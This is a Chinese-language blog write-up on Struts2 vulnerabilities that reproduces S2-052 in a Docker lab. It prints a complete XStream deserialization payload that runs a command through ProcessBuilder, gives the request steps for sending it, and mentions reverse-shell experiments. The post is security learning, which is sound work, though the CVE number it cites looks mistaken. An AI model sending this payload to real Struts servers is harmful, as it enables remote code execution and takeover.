浅谈struts2漏洞(检测工具及S2-052漏洞及漏洞平台的搭建复现)

简介:

struts2是apache项目下的一个web框架,主要应用于各类门户网站,而相对应的漏洞则是从2007年7月23日发布的第一个Struts2漏洞S2-001到2018年的S2-057,跨度还是很多的,以前学习的时候也是听说,基本上Struts每发布一个版本都会存在漏洞,根据Freebuf上的文章显示,漏洞的类型基本上是RCE,XSS,CSRF,DOS,目录遍历和其他功能缺陷漏洞等。风靡一时的漏洞则有S2-003、S2-005、S2-007、S2-008、S2-009、S2-012、S2-013、S2-015、S2-016、S2-019、S2-029、S2-032、S2-033、S2-037、S2-045、S2-046、S2-048、S2-052。

除了S2-052以外,其他的漏洞产生原因都是执行了恶意用户传进来的OGNL表达式,造成远程代码执行,可以造成命令执行,服务器文件操作,打印回显,获取系统i属性,危险代码执行等,只不需要进行构造不同的OGNL代码而已

OGNL:对象导航图语言(Object Graph Navigation Language),简称OGNL,是应用于java中的一个开源表达式语言,他被集成在Struts2等框架中。作用是对数据进行访问,它拥有对数据进行访问,它拥有类型转换,访问对象方法,操作集合对象等功能。

上述内容源自百度百科和Freebuf

Struts2著名RCE漏洞引发的十年之思

OGNL简介

接下来我介绍下我遇到的S2-052漏洞:

首先我对目标进行渗透测试的时候,首先使用awvs将收集到的子域名都导入到awvs中过了一遍,扫描器个我报了其中一个链接存在Struts2-052漏洞,于是我开始了检查漏洞是否误报检查漏洞是否可以利用的工作,但是全部都失败了,首先是使用了Struts2检测工具进行检测,发现不存在S2-052漏洞

工具地址:

Struts2全漏洞扫描利用工具

然而我TM的并没有发现存在S2-052漏洞,我就想“误报了,完蛋了,要加班了”,这是后话,我想,既然碰到了,虽然误报,但是我还是把这个漏洞搞搞清楚吧

S2-052漏洞:

漏洞编号:CVE-2017-9085

影响版本:Struts2.1.2-Struts2.3..33,Strus2.5-Struts2.5.12

漏洞产生原因:当用户使用带有Xstream程序的Struts REST插件来处理XML payload时,可能会遭到远程代码执行攻击。

漏洞复现过程:网上有不同的复现教程,我使用的docker镜像来复现。

拖取镜像:

docker pull medicean/vulapps:s_struts2_s2-052

启动环境:

docker run -d -p 80:8080 -v /tmp/:/tmp/ medicean/vulapps:s_struts2_s-052

启动成功后访问:

成功搭建测试环境

接下来抓包:我直接抓了这个界面的刷新的包

然后burp将数据包改为post请求

将content-Type改为application/xml,同时将payload粘贴进来

payload:

<map>
<entry>
     <jdk.nashorn.internal.objects.NativeString>
       <flags>0</flags>
       <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
         <dataHandler>
           <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
             <is class="javax.crypto.CipherInputStream">
               <cipher class="javax.crypto.NullCipher">
                 <initialized>false</initialized>
                 <opmode>0</opmode>
                 <serviceIterator class="javax.imageio.spi.FilterIterator">
                   <iter class="javax.imageio.spi.FilterIterator">
                     <iter class="java.util.Collections$EmptyIterator"/>
                     <next class="java.lang.ProcessBuilder">
                       <command>
<string>touch</string>
<string>/tmp/test.txt</string>
                       </command>
                       <redirectErrorStream>false</redirectErrorStream>
                     </next>
                   </iter>
                   <filter class="javax.imageio.ImageIO$ContainsFilter">
                     <method>
                       <class>java.lang.ProcessBuilder</class>
                       <name>start</name>
                       <parameter-types/>
                     </method>
                     <name>foo</name>
                   </filter>
                   <next class="string">foo</next>
                 </serviceIterator>
                 <lock/>
               </cipher>
               <input class="java.lang.ProcessBuilder$NullInputStream"/>
               <ibuffer/>
               <done>false</done>
               <ostart>0</ostart>
               <ofinish>0</ofinish>
               <closed>false</closed>
             </is>
             <consumed>false</consumed>
           </dataSource>
           <transferFlavors/>
         </dataHandler>
         <dataLen>0</dataLen>
       </value>
     </jdk.nashorn.internal.objects.NativeString>
     <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
   </entry>
   <entry>
     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
     <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
   </entry>
 </map>

Forward这个数据包,服务器会报错,但是命令是执行成功了的

本地的tmp目录下成功创建了一个testtest的空文件

复现成功

知其然,也要知其所以然,我这里浅显的介绍下为什么会要这样复现

第一:为什么要修改contenttype为application/xml

根据该漏洞的发现者的文章指出,是一个叫contentHandler的地方有问题

而这个contentHandler实际上是按照contenttype的不同,将请求的数据丢个指定的子类进行处理,而恰恰当contenttype为application/xml时,contenthandle将数据分发给了XStreamHandler这个类来进行处理,而这个类恰恰没有进行任何的校验,直接对数据进行了处理,导致了可以执行我们的payload

而后我做了一下两个实验,

1.实验文件读取和反弹shell

2.文件读取会遇到对> |这些符号的限制,

反弹shell的时候记得填写上去的ip为攻击者的ip

以上就是我对该漏洞的复现的学习,以下是借鉴的优秀的文章:

Struts S2-052反弹Shell实验

Struts2 S2-052漏洞分析

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章